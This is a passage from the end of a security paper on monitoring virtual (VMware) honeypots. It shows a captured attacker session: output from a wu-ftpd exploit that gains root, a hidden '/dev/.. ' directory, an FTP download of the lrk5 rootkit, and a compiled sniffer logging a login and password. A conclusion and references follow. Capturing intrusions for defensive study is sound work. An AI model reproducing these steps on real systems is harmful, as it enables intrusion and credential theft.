#hit at 0xbfffde5a: ______________________________%%|x|%.70s

buffer is located at: 0xbfffdcad

  found: 0xbfffdcad
phase 5 - find destination buffer address... using sane address 0xbfffb3f0, pad 0

buffer length = 510
brute step length = 54
#using sane address 0xbfffb3ba, pad 0
#using sane address 0xbfffb384, pad 0
#using sane address 0xbfffb34e, pad 0
#using sane address 0xbfffb318, pad 0
#using sane address 0xbfffb2e2, pad 0
#using sane address 0xbfffb2ac, pad 0
#hit at 0xbfffb288: __________________________________%|x|________________________

buffer is located at: 0xbfffb050

  found: 0xbfffb050
phase 6 - calculating return address
  retaddr = 0xbfffde95
phase 7 - getting return address location
# 0xbfffd054

RL = 08052aff
0x08052aff @ 0xbfffd054
  found 0xbfffd054
phase 8 - exploitation...
storing 0xbfffde95 as: \x95\xde\xff\xbf
written so far on first smack: 585 (4b)
  using return address location: 0xbfffd054
/* using read() shellcode */
/* 16 byte shellcode */

len = 510

uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
cd /dev
mkdir ".. "
cd ".. "
ftp 10.XXX.XXX.53
cd /tools
get lrk5.src.tar.gz
Name (10.XXX.XXX.53:root): 
Hash mark printing on (1024 bytes/hash mark).
ls -l
total 3238
-rw-r--r--    1 root     ftp       3301054 Jul  3 13:19 lrk5.src.tar.gz
gunzip lrk5.src.tar.gz
tar -xvf lrk5.src.tar

-- CUT --

cd lrk5
ls -l sniffer
total 529
-rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile
-rw-r--r--    1 1000     101          1072 May 30  1999 README
-r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h
-rw-r--r--    1 1000     101           486 May  7  1999 ip.h
drwxr-xr-x    6 1000     101          1024 Jul 12  1999 libpcap-0.4
-rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar
-rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h
-rwxr-xr-x    1 1000     101         19015 Jul 11  1999 sniffer
-rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h
-rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c
cd sniffer
ls -l sniffer
-rwxr-xr-x    1 1000     101         19015 Jul 11  1999 sniffer
rm -f sniffer
..ooOO ADMsniff private 1.0 beta 0 OOoo..


make[1]: Leaving directory `/dev/.. /lrk5/sniffer/libpcap-0.4'
compiling ADMsniff...
gcc -I. -L.   thesniff.c  -lpcap -lz  -o ./sniffer
ls -l
total 624
-rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile
-rw-r--r--    1 1000     101          1072 May 30  1999 README
-r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h
-rw-r--r--    1 1000     101           486 May  7  1999 ip.h
drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4
-rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar
-rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a
-rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h
-rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer
-rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h
-rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c
./sniffer eth0 &
ADMsniff priv 1.0  in libpcap we trust !
credits: ADM, mel , ^pretty^ for the mail she sent me
ls -l
total 625
-rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile
-rw-r--r--    1 1000     101          1072 May 30  1999 README
-rw-r--r--    1 root     ftp             0 Jul  3 15:20 The_l0gz
-r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h
-rw-r--r--    1 1000     101           486 May  7  1999 ip.h
drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4
-rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar
-rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a
-rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h
-rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer
-rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h
-rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c

Connected to

Escape character is '^]'.

                               Welcome to the FHZ.

  Drill Server rebuild 1.3

You are allowed to do whatever you like on this server.
But remember anybody who might try to use computers as platforms to commit
crimes against computers not in the wargame may be in for
a long vacation at government expense.


By logging in, you agree that you will abide by the above.

                      server request:doll@hackerslab.org 
           - HACKERSLAB -
if you are here for the first time
login: level0
Last login: Tue Jul  9 00:43:36 from ac238.mistral.cz
                               /T /I
                              / |/ | .-~/
                          T\ Y  I  |/  /  _
         /T               | \I  |  I  Y.-~/
        I l   /I       T\ |  |  l  |  T  /
     T\ |  \ Y l  /T   | \I  l   \ `  l Y
 __  | \l   \l  \I l __l  l   \   `  _. |
 \ ~-l  `\   `\  \  \\ ~\  \   `. .-~   |
  \   ~-. "-.  `  \  ^._ ^. "-.  /  \   |
.--~-._  ~-  `  _  ~-_.-"-." ._ /._ ." ./
 >--.  ~-.   ._  ~>-"    "\\   7   7   ]
^.___~"--._    ~-{  .-~ .  `\ Y . /    |
 <__ ~"-.  ~       /_/   \   \I  Y   : |
   ^-.__           ~(_/   \   >._:   | l______
       ^--.,___.-~"  /_/   !  `-.~"--l_ /     ~"-.
              (_/ .  ~(   /'     "~"--,Y   -=b-. _)
               (_/ .  \  :           / l      c"~o \
                \ /    `.    .     .^  \_.-~"~--.  )
                 (_/ .   `  /     /       !       )/
                  / / _.   '.   .':      /        '
                  ~(_/ .   /    _  `  .-<_
                    /_/ . ' .-~" `.  / \  \          ,z=.
                    ~( /   '  :   | K   "-.~-.______//
                      "-,.    l   I/ \_    __{--->._(==.
                       //(     \  <    ~"~"     //
                     /' /\     \  \     ,v=.  ((
                    .^. / /\     "  }__ //===-  `
                   / / ' '  "-.,__ {---(==-
                 .^ '       :  T  ~"   ll     -by F.H.Z-
                / .  .  . : | :!        \\
               (_/  /   | | j-"          ~^
           Powerd by F.H.Z team Since 1999 

A sadist is a masochist who follows the Golden Rule.
[level0@drill level0]$ exit
Connection closed by foreign host.
ls -l
total 625
-rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile
-rw-r--r--    1 1000     101          1072 May 30  1999 README
-rw-r--r--    1 root     ftp           178 Jul  3 15:20 The_l0gz
-r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h
-rw-r--r--    1 1000     101           486 May  7  1999 ip.h
drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4
-rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar
-rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a
-rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h
-rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer
-rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h
-rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c
cat The_l0gz
--=[ --> 10.XXX.XXX.53:1031 ]=--
......_5.7#}.................._:.7#......._;.7#............_..7#...... ..#..'
......_..7#......._..7#.........!.."........._..7#......._..7#... .....'.....
           Welcome to the FHZ...=--------------------------------------------
-----------------------------=......Drill Server rebuild 1.3....You are allow
ed to do whatever you like on this server...But remember anybody who might tr
y to use computers as platforms to commit..crimes against computers not in th
e wargame may be in for..a long vacation at government expense.......CONFUCIU
LONG TIME IN JAILHOUSE SOUP.....By logging in, you agree that you will abide 
by the above.......                      server request:doll@hackerslab.org 
 .........    - HACKERSLAB -..=----------------------------------------------
--------------------------=..if y!ou are here for the first time.. login:level
0.. passwd:guest........` .7$]......a..7$]login: ......b..7&.......b..7&.l....
d..7(.......d..7(.. .......e#.7)F......e5.7)Fl......e..7*.......f..7*.0......f
Q.7*v......g..7*v........g<.7+aPassword: ......g..7,.......h..7,$......h#.7,=.
.....h<.7,W......hg.7,q......ht.7,.......h..7,.........h..7,.  / / ' '  .....
.h..7,.Last login: Tue Jul  9 00:43:36 from ac238.mistral.cz..----------------
---------------------------------------------------------------../T /I.. 
                       / |/ | .-~/..                          T\ Y  I  |/  / 
_..         /T               | \I  |  I  Y.-~/..        I l   /I       T\ |  |
 l  |  T  /..     T\ |  \ Y l  /T   | \I  l   \ `  l Y.. __  | \l   \l  \I l _
_l  l   \   `  _. |.. \ ~-l  `\   `\  \  \\ ~\  \   `. .-~   |..  \   ~-. "-. 
`  \  ^._ ^. "-.  /  \   |...--~-._  ~-  `  _  ~-_.-"-.!" ._ /._ ." ./.. >--. 
~-.   ._  ~>-"    "\\   7   7   ]..^.___~"--._    ~-{  .-~ .  `\ Y . /    |.. 
<__ ~"-.  ~       /_/   \   \I  Y   : |..   ^-.__           ~(_/   \   >._: 
| l______..       ^--.,___.-~"  /_/   !  `-.~"--l_ /     ~"-...              (
_/ .  ~(   /'     "~"--,Y   -=b-. _)..               (_/ .  \  :           / l
     c"~o \..                \ /    `.    .     .^   \_.-~"~--.  ).. 
      (_/ .   `  /     /       !       )/..                  / / _.   '.   .': 
    /        '..                  ~(_/ .   /    _  `  .-<_.. 
 /_/ . ' .-~" `.  / \  \          ,z=...                    ~( /   '  :   | K 
 "-.~-.______//..                      "-,.    l   I/ \_    __{--->._(==... 
                  //(     \  <    ~"~"     //..                      /' /\ 
\  \     ,v=.  ((..                    .^. / /\     "  }__ //===-  `.. 
      ......h..7,."-.,__ {---(==-..                 .^ '       :  T  ~"   ll 
 -by F.H.Z-..      !          / .  .  . : | :!        \\..               (_/ 
/   | | j-"          ~^..                 ~-<_(_.^-~"..------------------------
-------------------------------------------------------.......      Powerd by F
.H.Z team Since 1999 ..--------------------------------------------------------
====================..A sadist is a masochist who follows the Golden Rule...===
drill level0]$ ......l..70.e......m..70.......m..71.x......m4.71(......m4.71(i.

As you can see from the hyper-links in the terminal session above, the Xtail monitoring captured a great deal of live information from the WU-FTPD buffer-overflow shell session:

[ Conclusion ]

The goal of this paper was to highlight a new method for monitoring virtual (VMware) honeypot systems.  The need for this type of monitoring increases daily as both:

These reasons have increased the popularity and deployment of virtual honeypots/nets.  So, the more virtual honeynets there are, the higher the demand for this type of honeypot monitoring.  While the usefulness of the monitoring in evident, there are a few caveats to mention (aren't there always:)


Hopefully, the techniques outlined in this paper will assist WhiteHats with deploying virtual honeypot monitoring tools that will be effective, as well as, completly hidden from attackers.

Good Luck!


  1. Graham, Robert.  "FAQ: Network Intrusion Detection Systems",  Version 0.8.3 March 21, 2000 - http://www.robertgraham.com/pubs/network-intrusion-detection.html#11.
  2. Spitzner, Lance.  "Honeypots: Definitions and Value of Honeypots",  May 17, 2002 - http://www.enteract.com/~lspitz/honeypots.html
  3. Honeynet Project, "Honeynet Definitions, Requirements, and Standards ver 1.4.6 Updated: 09 June, 2002 - http://project.honeynet.org/alliance/requirements.html
  4. Seifried, Kurt, "Honeypotting with VMware - basics" - http://www.seifried.org/security/ids/20020107-honeypot-vmware-basics.html
  5. Clark, Mike.  "Virtual Honeynets" November 7, 2001 - http://online.securityfocus.com/infocus/1506/